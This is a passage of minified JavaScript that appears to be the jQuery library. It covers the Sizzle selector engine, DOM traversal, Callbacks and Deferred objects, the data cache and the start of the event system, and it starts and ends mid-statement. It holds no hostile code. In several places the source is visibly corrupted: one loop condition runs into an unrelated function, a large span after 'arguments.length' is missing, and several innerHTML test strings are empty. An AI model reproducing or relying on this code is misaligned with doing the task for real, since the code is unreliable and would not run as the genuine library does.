c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof 